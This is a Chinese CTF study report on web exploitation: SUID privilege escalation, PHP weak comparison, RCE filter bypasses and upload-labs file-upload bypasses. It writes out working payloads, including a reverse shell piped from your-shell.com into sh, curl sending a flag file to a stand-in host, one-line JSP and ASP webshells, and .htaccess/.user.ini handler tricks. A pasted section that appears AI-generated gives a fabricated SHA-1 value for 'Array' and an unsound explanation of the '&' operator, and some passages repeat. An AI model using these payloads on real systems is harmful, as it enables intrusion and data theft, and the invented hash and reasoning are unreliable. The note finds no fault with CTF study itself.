WEB学习第一周周报

SUID提权:

有时我们用蚁剑登录后找到flag,读取时却发现没有内容

img

我们登录终端,cat一下

img

意思是说没权限

此时我们就可以回到原web界面(题目中漏洞参数是cmd)查找SUID文件(这就不得不说一下啥是SUID了,通俗来说就是执行这个文件时就能使人拥有管理员的权限,不过是暂时的。)

img

图片中,find / 是在根目录中查找,-perm -u=s是满足是SUID的文件,>1.txt是指写入1.txt文档(若没有1.txt的话会创造一个1.txt)。剩下的代码有些多余,可以不要。

访问1.txt后就能看出来那些文件是我们想要的。

img

用执行date文件来读取flag,就有权限了。(值得一提的是,1.txt显示的文件中,并不是所有文件都能像date一样执行读取flag成功,个人猜测是有些文件虽然是SUID,但是我们没有执行权)

环境变量

思路

  • 查看环境变量

EXP

127.0.0.1&env / 127.0.0.1|env

2.PHP弱类型比较

例题:bugku:矛盾

img

源码分析:

$$num$$_GET['num']; //定义一个num变量用get方法接收

if(!is_numeric($num)) //判断如果$num不全为数字或数字字符串,满足就执行下面的代码

{

​ echo $num; if($num==1) //判断$num是否等于1

​ echo 'flag{**********}';

}

1、要输出flag,首先要num不是数字,然后又要num=1,显然是矛盾的

2、但根据弱类型比较,只需输入num=1a即可满足第一个条件(只要是以数字开头不全部为数字就行),1a与1进行弱类型比较(如果将数值型和文本型数据一起比较,会将文本型转换为数值型,且字符串开头部分符合整数格式时,字符串将被转换为整数。然后再比较),1==1满足第二个条件,最后输出flag。)

img

关于php弱类型(松散)比较的知识补充:

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。

img

例子:

var_dump(123==‘123asd’);//输出为true

var_dump(123==‘1234asd’);//输出为false

var_dump(123==‘123asd1234’);//输出为true

var_dump(“asdf1"1) //false

原因:

在PHP中遇到数字与字符串进行松散比较()时,会将字符串中前几位是数字且数字后面不是”.",“e"或"E"的子串转化为数字,与数字进行比较,如果相同则返回为true,不同返回为false,后面的所有字符串直接截断扔掉。

例子:

var_dump(123==‘123.5asd1234’);//输出为false

var_dump(123==‘123e5asd1234’);//输出为false

var_dump(123==‘123E5asd1234’);//输出为false

原因:

上面提到过,如果字符串数字后面是”." , “e”, “E”,则会有其他结果。

"."为浮点数的标志,会将字符串的子串转化为浮点数。

"e"和"E"为科学计数法的标志,将字符串的子串转化为科学计数法。

img

  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

例如,“42” 是一个字符串而 42 是一个整数。FALSE 是一个布尔值而 “FALSE” 是一个字符串。

我们可以通过三个数值的比较来认识:

PHP中 比较 0、false、null

在 PHP 中,比较 0、false 和 null 时,它们之间的关系是不同的。以下是它们之间比较的一些重要点:

比较 0 和 false:

当使用 == 操作符进行比较时,0 和 false 在弱类型比较下会被视为相等。

var_dump(0 == false); // 输出 bool(true)

由于 PHP 是弱类型语言,所以在大多数情况下,0 和 false 被视为等效的值。但在全等比较 === 下,它们被视为不同的值。

比较 0 和 null:

0 和 null 之间的比较在弱类型下不会相等。

var_dump(0 == null); // 输出 bool(false)

0 和 null 是不同的数据类型,0 是整数类型,而 null 是表示“无值”的特殊类型。

比较 false 和 null:

false 和 null 之间的比较在弱类型下也不会相等。

var_dump(false == null); // 输出 bool(false)

false 表示逻辑上的假值,而 null 表示“无值”,它们代表不同的数据状态。

总结:

0、false 和 null 代表了不同的概念和数据类型,在比较时需要根据具体的情况进行区分。弱类型比较中,0 和 false 可能被认为是相等的,但在其他情况下它们是不相等的;而 0 和 null、以及 false 和 null 在任何情况下都不会被视为相等。在进行比较时,应根据实际需求和数据的语义来选择使用适当的比较操作符。

RCE绕过+文件上传

一.RCE绕过

数组:

向数组添加元素

如果你已经有一个数组,并且想添加一个新的元素 1,你可以使用 [] 操作符,它会自动将新元素添加到数组的末尾:

php


深色版本
$num[] = 1;
// 向数组中添加元素
$num[] = 1; // 现在 $num 是 [1]
$num[] = 2; // 现在 $num 是 [1, 2]

由于 $_GET['uname'] 是一个数组,PHP 会将数组转换为字符串进行哈希计算。对于数组,PHP 会将其转换为 Array 字符串。因此,sha1($_GET['uname']) 实际上是 sha1('Array'),其哈希值为 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2

sha1($_POST['passwd']) & 1:同样地,$_POST['passwd'] 也是一个数组,PHP 会将其转换为 Array 字符串进行哈希计算。因此,sha1($_POST['passwd']) 也是 sha1('Array'),其哈希值为 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2

由于 sha1('Array') 的最低位是 2,即 0,因此 sha1($_POST['passwd']) & 1 等于 0

现在,sha1($_GET['uname'])sha1($_POST['passwd']) & 1 都是 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e20,显然不相等。但是,由于 & 是按位与运算符,sha1($_GET['uname']) 的最低位也是 0,因此 sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1) 成立。

取反/异或

异或

过滤了全部数字,字母 只能使用特殊字符

$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 $ __ ();

取反

也可以用取反urlencode编码绕过:

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator>

payload: ?code=(~%8F%97%8F%96%91%99%90)();

取反绕过:(目前就本作者的认知和尝试来说)使用条件应该是用于eval命令下,当题目对字符长度有所限制、不让使用字母(或者禁用的东西比较多),可以尝试取反绕过。

import sys

import urllib.parse

def main():

​ # 输出提示信息并读取用户输入的函数

​ sys.stdout.write('[+]your function: ')

​ sys.stdout.flush()

​ system = input().strip()

​ # 输出提示信息并读取用户输入的命令

​ sys.stdout.write('[+]your command: ')

​ sys.stdout.flush()

​ command = input().strip()

​ # 对输入的字符串进行按位取反操作

​ def bitwise_not(s):

​ return ''.join(chr(ord(c) ^ 0xFF) for c in s)

​ # 对按位取反后的字符串进行单字节编码(ISO-8859-1)并进行URL编码

​ def encode_string(s):

​ return urllib.parse.quote(s.encode('iso-8859-1'))

​ encoded_system = encode_string(bitwise_not(system))

​ encoded_command = encode_string(bitwise_not(command))

​ # 输出处理后的结果

​ print(f'[*] ({encoded_system})();')

if name == "main":

​ main()

用这个py脚本可以生成

img

按位取反操作

PHP 中的 ~ 操作符会对一个整数进行按位取反操作。对于每个二进制位,~ 会将 0 变为 1,将 1 变为 0。例如:

  • ~0 的结果是 -1(在 32 位系统上表示为 0xFFFFFFFF)。
  • ~1 的结果是 -2(在 32 位系统上表示为 0xFFFFFFFE)。

通过按位取反操作,我们可以生成所需的字符,而不直接使用字母或数字。

构造有效输入

1. 确定目标字符

假设我们想要执行 phpinfo() 函数。我们需要生成以下字符:

  • p (ASCII 码 112)
  • h (ASCII 码 104)
  • p (ASCII 码 112)
  • i (ASCII 码 105)
  • n (ASCII 码 110)
  • f (ASCII 码 102)
  • o (ASCII 码 111)

2. 选择基准字符

我们可以选择一个非字母和非数字的字符作为基准字符。例如,选择 -1 作为基准字符(即 ~0)。然后,我们可以通过按位取反操作生成所需的字符。

3. 计算按位取反值

目标字符 ASCII 码 按位取反结果 十六进制表示
p 112 ~112 0xFFFFFF8F
h 104 ~104 0xFFFFFF97
p 112 ~112 0xFFFFFF8F
i 105 ~105 0xFFFFFF96
n 110 ~110 0xFFFFFF91
f 102 ~102 0xFFFFFF99
o 111 ~111 0xFFFFFF90

4. 构造输入

我们将这些按位取反的结果转换为十六进制表示,并使用 ~ 操作符来构造输入。最终的输入如下:

深色版本
http://yourserver/ctf.php?code=${~0x8f}{~0x97}{~0x8f}{~0x96}{~0x91}{~0x99}{~0x90}()

解码后的 URL 参数是:

深色版本
?code=${~0x8f}{~0x97}{~0x8f}{~0x96}{~0x91}{~0x99}{~0x90}()

这段代码实际上等价于:

php


深色版本
${"phpinfo"}();

这将调用 phpinfo() 函数并显示 PHP 配置信息。

另一个示例:执行系统命令

我们还可以构造更复杂的攻击,例如执行系统命令。以下是一个示例,使用按位取反操作构造 system('whoami')

计算按位取反值

目标字符 ASCII 码 按位取反结果 十六进制表示
s 115 ~115 0xFFFFFF8C
y 121 ~121 0xFFFFFF86
s 115 ~115 0xFFFFFF8C
t 116 ~116 0xFFFFFF8B
e 101 ~101 0xFFFFFF9A
m 109 ~109 0xFFFFFF92
( 40 ~40 0xFFFFFFD7
' 39 ~39 0xFFFFFFD8
w 119 ~119 0xFFFFFF88
h 104 ~104 0xFFFFFF97
o 111 ~111 0xFFFFFF90
a 97 ~97 0xFFFFFF9E
m 109 ~109 0xFFFFFF92
i 105 ~105 0xFFFFFF96
) 41 ~41 0xFFFFFFD6
  • 因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
  • 而我们使用assert则可以成功,因为assert在php中被认为是一个函数

数组

代码可以看出,要通过get传入uname和id参数,和pose传入passwd,最重要的是uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等,构造数组就可以 构造payload:?uname[]=1&id=margin,在用hackbar传入passwd[]=2

你提到的攻击方法确实可以绕过 unamepasswd 不能相等的检查,并且确保它们的 SHA-1 哈希值相等。让我们详细分析一下为什么这个方法有效,并解释如何构造 payload。

代码回顾

php


深色版本
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])
        print 'passwd can not be uname.';
    else if (sha1($_GET['uname']) === sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))
        die('Flag: '.$flag);
    else
        print 'sorry!';
}

关键点

  1. unamepasswd 不能相等

    php
    
    
    深色版本
    
if ($_GET['uname'] == $_POST['passwd'])
    print 'passwd can not be uname.';

SHA-1 哈希值相等

php


深色版本
else if (sha1($_GET['uname']) === sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))

id 参数必须等于 'margin'

php


深色版本
  1. $_GET['id'] == 'margin'
    

构造 Payload

1. 使用数组绕过 unamepasswd 不能相等的检查

PHP 在处理数组时,会将数组转换为字符串进行比较。对于数组,PHP 会将其转换为 Array 字符串。因此,即使 uname[]passwd[] 的值不同(例如 12),它们在比较时会被视为不同的字符串,从而绕过 unamepasswd 不能相等的检查。

2. 确保 SHA-1 哈希值相等

由于 uname[]passwd[] 都是数组,PHP 会将它们转换为 Array 字符串进行哈希计算。因此,sha1($_GET['uname'])sha1($_POST['passwd']) 实际上都是 sha1('Array'),其哈希值相同:

php


深色版本
sha1('Array') = 'c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2'

3. 逻辑运算符误用

代码中的逻辑运算符 & 是按位与运算符,而不是逻辑与运算符 &&。这意味着表达式会被解释为:

php


深色版本
sha1($_GET['uname']) === (sha1($_POST['passwd']) & ($_GET['id'] == 'margin'))
  • ($_GET['id'] == 'margin') 返回布尔值 true,即 1
  • sha1($_POST['passwd']) 是一个 40 位的十六进制字符串,例如 c9f3e2e7a7a9e3c4f8e2e2e2e2e2e2e2e2e2e2e2
  • sha1($_POST['passwd']) & 1 只保留了 SHA-1 哈希值的最低位。由于 sha1('Array') 的最低位是 2,即 0,因此 sha1($_POST['passwd']) & 1 等于 0

因此,sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1) 成立。

最终 Payload

你可以通过以下方式构造 payload:

  1. GET 请求

    • uname[]:传递一个数组,例如 1
    • id:传递 'margin'

    URL 为:

    深色版本
    
http://yourserver/ctf.php?uname[]=1&id=margin

POST 请求

  • passwd[]:传递一个数组,例如 2

使用 HackBar 或其他工具发送 POST 请求,参数为:

深色版本
  1. passwd[]=2
    

完整的攻击过程

  1. 打开浏览器并访问目标 URL

    深色版本
    
http://yourserver/ctf.php?uname[]=1&id=margin

使用 HackBar 发送 POST 请求

  • 打开 HackBar 插件。

  • 选择 "Raw Post Data" 选项。

  • 输入以下内容:

    深色版本
    
    • passwd[]=2
      
    • 确保请求方法为 POST

    • 发送请求。

为什么这个方法有效

  1. unamepasswd 不能相等:由于 uname[]passwd[] 是数组,PHP 会将它们转换为 Array 字符串进行比较。因此,uname[]passwd[] 的值不同(12),但它们在比较时被视为不同的字符串,从而绕过 unamepasswd 不能相等的检查。
  2. SHA-1 哈希值相等:由于 uname[]passwd[] 都是数组,PHP 会将它们转换为 Array 字符串进行哈希计算。因此,sha1($_GET['uname'])sha1($_POST['passwd']) 实际上都是 sha1('Array'),其哈希值相同。
  3. 逻辑运算符误用:由于 & 是按位与运算符,sha1($_POST['passwd']) & 1 只保留了 SHA-1 哈希值的最低位,而 sha1('Array') 的最低位是 0,因此 sha1($_GET['uname']) === (sha1($_POST['passwd']) & 1) 成立。

总结

通过构造 uname[]passwd[] 为数组,并确保它们的值不同,同时满足 id=margin,你可以成功绕过 unamepasswd 不能相等的检查,并确保它们的 SHA-1 哈希值相等,最终获取 flag。

如果你有更多问题或需要进一步的帮助,请随时提问

1.系统命令

PHP执行系统命令的方法:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
system 函数:system 函数执行系统命令,并将输出直接打印到标准输出。它的返回值是命令的最后一行输出或者返回状态码(命令成功执行返回0)。     ** 使用格式如:cmd=system("cat /flag");

shell_exec 函数:shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回,而不是打印到标准输出。如果命令没有输出,则返回空字符串。

exec 函数:exec 函数执行系统命令,并将输出存储到一个数组中,每一行命令输出作为数组的一个元素。它的返回值是命令的最后一行输出或者返回状态码。exec("/bin/ls -l"); 

passthru 函数:passthru 函数执行系统命令,并直接将命令的输出发送到标准输出。它不会返回任何输出结果,而是直接将输出显示在屏幕上。  passthru("./ppmtogif hunte.ppm"); 
eval函数:  函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。  
print(`ls /`);
popen()函数打开进程 
popen("/bin/ls -l", "r");    ##r是读的意思##

system: 热身赛 ez_rce

使用hackbar,点击load URL 写入http://175.27.251.122:33264/?jinxi=jinxi,在post中,填入s11nk=s11nk&m1xi@n=system("ls")

再改为s11nk=s11nk&m1xi@n=system("cat /flag")

shell_exec :纳新赛 ez_rce

1.ez_rce
本题为exce 没有回显,csdn搜索得知,可使用 > 将输出结果显示在新建文件中 如

image-20241126214543125

">" 是表示把什么写入什么文件的意思。
比如这道 cat fla?>1.txt(写进1.txt文件里) 文件名随意

命令执行无回显rce思路:

1.利用dnslog带外

2.写马

3.反弹shell

4.写文件然后访问文件
①[SWPUCTF 2021 新生赛]finalrce

过滤了不少东西(其实不怕,关键词过滤\分割绕过不就行hhh)

最麻烦的exec命令执行是无回显的

用下面这种方法最省事:

command | tee file.txt

可以看到的是过滤了>,但没有过滤|,tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来看见命令执行的回显

payload:

?url=l\s / | tee 1.txt

访问1.txt

跟进

?url=tac /flllll\aaaaaaggggggg | tee 2.txt

(因为la被过滤,仔细看哈)

访问2.txt

②[SWPUCTF 2023 秋季新生赛]RCE-PLUS

shell_exec也无回显

waf把|和>都放出来了,用上题payload也可以打

我们这题就换个比较常见的>

payload:

?cmd=ls / > 2.txt

访问2.txt

?cmd=tac /f* > 2.txt

访问2.txt

③[CTFSHOW]web807

curl这是让我反弹shell了啊

推荐一个网站:https://your-shell.com/

傻瓜型反弹shell,我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行:

  • 反引号‘’

反引号命令执行

此前我一直以为反引号是 shell 命令里才能用的东西,所以没往这边想。现在知道 PHP 是有的,不止 PHP ,其他各大语言也有。

既然碰到了,那就认真学一下,区分一下它们之间的区别。
PHP 反引号

PHP 支持一个执行运算符:反引号( `` )。

PHP 会将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。

推荐文章:php 执行运算符
shell 反引号

shell 反引号中的命令会先执行,将执行结果返回出来,再作为外部命令的一部分。

在 shell 命令中,反引号与 $() 作用相同,都是命令替换。

比如:

echo these are files in the directory :ls

echo cat ????.??? >> 2.txt;

或者

echo these are files in the directory 😒(ls)

1
2
3

在这条命令中,ls 命令会先执行,再执行 echo 命令。返回结果:

these are files in the directory :index.html

1

推荐文章:shell中的 单引号’ '、双引号 " " 和 反引号`
python、go 中的反引号

python、go 中的反引号作用相同,即反引号包裹的是原始字符串,不做任何转义。

比如 \n 在反引号中不会被解释为换行,还是它原本的样子。
java 反引号

java 中的反引号有时可以作为标识符的一部分。

推荐文章:反引号 java
sql 语句反引号

sql 语句中的反引号是为了区分MySQL的保留字与普通字符而引入的符号。

例如:

SELECT select FROM test WHERE select='字段值'

1

在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。

此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被当成一个数字。

shell 绕过关键字过滤

已知 PHP 反引号中的内容会被当成 shell 命令来执行,shell 命令在绕过关键字过滤时,最简单的方法有以下两种:

cat 替换为 c\at
cat 替换为 c''at 。

总结 无回显绕过

反引号( ``):位于键盘 Tab 键左上方的键。

PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。

注意:

反引号运算符在激活了安全模式或者关闭了 shell_exec () 时是无效的.
与其它某些语言不同,反引号不能在双引号字符串中使用。

实例

将 dos 命令用反引号(``)包围,再 echo,返回执行命令的结果。

附:shell_exec ()

shell_exec()

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

注:shell_exec () 和 执行运行符的效果一样

语法

shell_exec( string $cmd) : string
//cmd:要执行的命令。

返回值

命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL 。

** shell_exec等无回显函数**
1.使用sleep 命令 ls; sleep 2
通过在命令后面添加 sleep 命令,可以观察命令执行的时间来判断命令是否成功执行。例如:
<?php
shell_exec('ls; sleep 2');
?>
如果看到脚本执行大约停顿了2秒钟,说明 ls 命令成功执行了。
2.使用写入文件绕过
这个就是上面那个纳新赛的ez_rce
通过 > 1.txt 将回显显示在1.txt中
cat fla?>1.txt
3.使用公网服务器的后端情况(一般不行)用curl 构造请求

​ <?php

## 执行 cat /flag 命令并将输出通过管道传递给 curl##
shell_exec('cat /flag | curl -d @- http://example.com/log.php');
?>
(ip更换为目标ip,即题目ip)
4. >/dev/null 2>&1类无回显
5.用分隔符进行分割即可绕过
使用管道符|
post的字符串为:cmd=ls | grep "flag" > /tmp/output.txt

passthru 热身赛 :遥远的flag

和遥远的flag_revenge对比指可以使用passthru,且通配符被禁,/被禁,可fl4g代替flag
最终为
cmd=passthru('tac /fl??');

命令执行无回显rce思路:

1.利用dnslog带外

2.写马

3.反弹shell

4.写文件然后访问文件
①[SWPUCTF 2021 新生赛]finalrce

过滤了不少东西(其实不怕,关键词过滤\分割绕过不就行hhh)

最麻烦的exec命令执行是无回显的

用下面这种方法最省事:

command | tee file.txt

可以看到的是过滤了>,但没有过滤|,tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来看见命令执行的回显

payload:

?url=l\s / | tee 1.txt

访问1.txt

跟进

?url=tac /flllll\aaaaaaggggggg | tee 2.txt

(因为la被过滤,仔细看哈)

访问2.txt

②[SWPUCTF 2023 秋季新生赛]RCE-PLUS

shell_exec也无回显

waf把|和>都放出来了,用上题payload也可以打

我们这题就换个比较常见的>

payload:

?cmd=ls / > 2.txt

访问2.txt

?cmd=tac /f* > 2.txt

访问2.txt

③[CTFSHOW]web807

curl这是让我反弹shell了啊

推荐一个网站:https://your-shell.com/

傻瓜型反弹shell,我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行:

2. 若cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
curl file://地址
sh flag 2>%261 //报错出文件内容 %26 是& &在请求中做连接参数的
grep 正则

3.若空格被禁用

可使用$IFS$+num代替,如$IFS$9

4.若命令被禁用,可使用()分割来绕过,

如:热身赛: 遥远的flag_revenge
经多次尝试, 最后post的为
r_u_antsword?=no&cmd=(sy.(st).em)("tac /f"); 可用()来分割开system 绕过禁用,以及用通配符来绕过
同理可使用单引号 fla''g ca''t

5. 通配符

当某些单词如flag 被禁用时,可使用 如 * ? 来占位,如:fl** , f*** f??? fl4g等
如:热身赛:没那么遥远的flag
通过分析,先满足r_u_antsword??'="no" 我改为r_u_antsword??'="yes"
然后cat 和flag被禁用,使用通配符*,和tac
最后传的内容为r_u_antsword??'===“yes”&cmd=system("tac /fl**"); cat被禁用可以使用tac

6.flag被过滤

① 使用通配符
如 * ? 来绕过,如:fl**, fl??
②使用数字代替
如fl4g
③[abcd] 匹配abcd中任何一个字符
如:cat /f [a-z][a-z][a-z]
④ 重命名
使用cp进行重命名cp fla{g.php,G} 把flag.php复制为flaG
然后打开flaG即可读取flag
利用拼接绕过:
调换flag的顺序:b=ag;a=fl;$a$b
xxxx/?ip=||b=ag;a=fl;cat$IFS$9$a$b.php

记录一下:贪婪匹配or非贪婪匹配

![屏幕截图 2024-11-29 093629](C:\Users\Lenovo\Desktop\Screenshots\屏幕截图 2024-11-29 093629.png)

这个的flag就是被贪婪过滤
正则表达式 "/.*f.*l.*a.*g.*/" 会匹配任何包含 flag 字母的字符串,不论这些字母之间的顺序如何。这意味着只要这四个字母都出现在命令中,无论它们之间有多少其他字符,都会被匹配到。
例如,以下命令都会被过滤:
  • flag
  • flg

  • falg

  • flag123

  • abcflagdef

  • f1l2a3g4

可以使用fl4g, fl**, f???;来过滤

7.管道符

1)win系统
管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
重要 | A|B 将A结果输出,做B的输入
|| A||B A命令语句执行失败,然后才执行B命令
(2)linux系统

管道符 实例 描述

; A;B;C A与B、C都执行
& A& 将命令A,转入后台运行
&& A&&B A为真时才执行B,否则只执行A
| A|B 将A结果输出,做B的输入 (若|被过滤,可使用;代替)

​ || A||B A命令语句执行失败,然后才执行B命令语句

() A&&(B||C) 将A、B命令分隔开 执行B||C
如:BUUCTF-WEB-Exec

image-20241128151721745

尝试构建通过管道符构建payload
?ip=127.0.0.1|cat flag

![屏幕截图 2024-11-28 151836](C:\Users\Lenovo\Desktop\Screenshots\屏幕截图 2024-11-28 151836.png

使用127.0.0.1仅为占位作用,可更换为其他如www.baidu.com

image-20241127201057143

8.过滤了目录分割符/(因为flag一般在 /flag,所以/ 和空格都非常必要,空格被过滤可以使用$IFS$8等来绕过,/)

可以用
在 Bash 中,${PATH:0:1} 可以用来获取路径字符串的第一个字符,即 /
如:cat${PATH:0:1}flag

二.文件上传漏洞

几种经典的webshell:

**1、jsp的简单的webshell:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2、asp的简单的webshell:

<%eval request("cmd")%>

3、php的简单的webshell:

php经典一句话:

1.前段JavaScript绕过(以upload-labs 第一关为例)

JS防护就是在客户端将上传的文件进行一个格式的验证,非常不安全,
(1).使用浏览器(chrome即可).可以直接关闭javascript。删除检测文件后缀的JS代码,然后上传 webshell

image-20241130131500144

(2)首先把webshell的后缀改成允许上传的.jpg|.png|.gif等(允许的),绕过JS检测。再抓包把后缀名改成.php(需要的),即可上传webshell

image-20241130130243875

在bp中将文件类型转为.php即可绕过,然后使用蚁剑链接
(3).前端js判断函数中加上可以上传php文件,或者直接删去这一函数

image-20241130125555554

把蓝色部分删除即可

2.MIME-Type绕过

后端验证文件类型,只过滤的文件类型,并没有过滤文件后缀名,需要再bp修改 content-type 绕过。

image-20241126220502822

另加:上传.php文件时,Content-Type的值是application/octet-stream;
最后真正上传的文件后缀.php
①直接上传php文件(webshell),bp抓包,修改Content-Type的值
②先上传修改后缀名的webshell(如:.php改为.jpg)进行(此时content-type是需要的格式)、抓包修改,后缀名改为.php
## 在做第二关时,能传上php文件但是蚁剑老是连不上,最后发现两个(编/解码器)都得选base64
即:image-20241130135847396

3.黑名单绕过

黑名单限制文件上传;不允许上传如.asp|.aspx|.php|.jsp后缀文件
可以上传例如.phtml、php3、php4、php5后缀的文件绕过,服务器会将..phtml、php3、php4、php5后缀的文件当成.php`解析。
如:第三关:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');##php不允许上传##
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
可以将webshell后缀改为.phtml上传
##上传后会随机生产新文件名,在bp上response得知

image-20241130145417144

蚁剑链接即可
image-20241130145618451
根据本地配置,php3. phtml都理解为php,所以也可将后缀改为php3

4. .htaccess绕过

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
如:upload-labs第四关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");##禁用这么多,不能和第3关一样用.phtml了,可以用.htaccess##
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}3
##我个人的理解是通过上传某些内容,让所有文件都会解析为php,然后可以将webshell后缀改为图片,上传图片,但仍当做php执行,将图片解析为php##
上传一个.htaccess内容为
SetHandler application/x-httpd-php的文件(抓包时删去文件名)
所有文件都会解析为php,然后上传图片

<FilesMatch "muma.jpeg">
SetHandler application/x-httpd-php

把muma.jpeg 当作php解析

image-20241130154436664
上传成功,根据路径使用蚁剑链接即可
##连接之前需要验证是否将图片解析为php
可以上传图片马
图片马内容:<?php phpinfo(); ?>

5.大小写绕过

由于Windows系统对后缀大小写并不敏感,将后缀改为PHP、Php、pHp也可当做php解析

6.点绕过/空格绕过

点/空格绕过其实就是利用了Windows对文件和文件名的限制,当将点/空格放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的点/空格就会被去除
image-20241130164829324
空格
image-20241130164913173
8>.user.ini的妙用
解释:.user.ini是特定于用户或特定目录的配置文件,通常位于WEB应用程序的根目录下,它用于覆盖或追加全局配置文件(如php.ini)中的PHP配置选项。
优点:作用和.htaccess差不多,但适用范围更广,不再局限与Apache服务器,适用的php版本要求大于5.3,最好是7.x。且要求phpinfo下的配置满足
Server API CGI/FastCGI
作用范围:存放该文件的目录以及其子目录
内容>>>>>>Auto-prepend-file=木马文件名(可以纯文件名,也可以是绝对路径下的纯文件名)
使用方法:类似.htaccess,就不罗嗦了。
>额外数据流 >>>::$DATA的妙用
原理:当木马文件名后面加上::$DATA时,windows就会把它当成数据流,从而忽视它的后缀名
使用:Bp发包时,将木马文件名后面加上::$DATA即可
10>图片马
使用:需要借助文件包含漏洞 e.g. URL中输入 include.php?file=hack.png,其中include.php可以包含其他文件,并将其按照php解析。hack.png为图片马。
图片马的制作:e.g.在某文件夹下准备好需要一张看似人畜无害的图片123.png,同时准备好webshell.php>>>接着在文件夹下打开cmd>>>输入copy 123.png/b+webshell.php hack.png>>>回车>>>该文件夹下就会生成名字为hack.png的木马,用16进制编辑器打开,会发现末尾有木马程序
11>%00截断绕过
解释:有些白名单题目虽然规定了允许上传的图片后缀,也对其上传的文件进行重命名,但是上传文件的保存路径却允许修改,这就为心术不正的黑客们留下了把柄。%00截断可以使得windows在读取文件路径时,读到%00误认为自己已经读完了,但其实文件真正的名字在%00后面,而%00前面的名字是黑客故意捏造的虚假的名字。
使用方式:

img

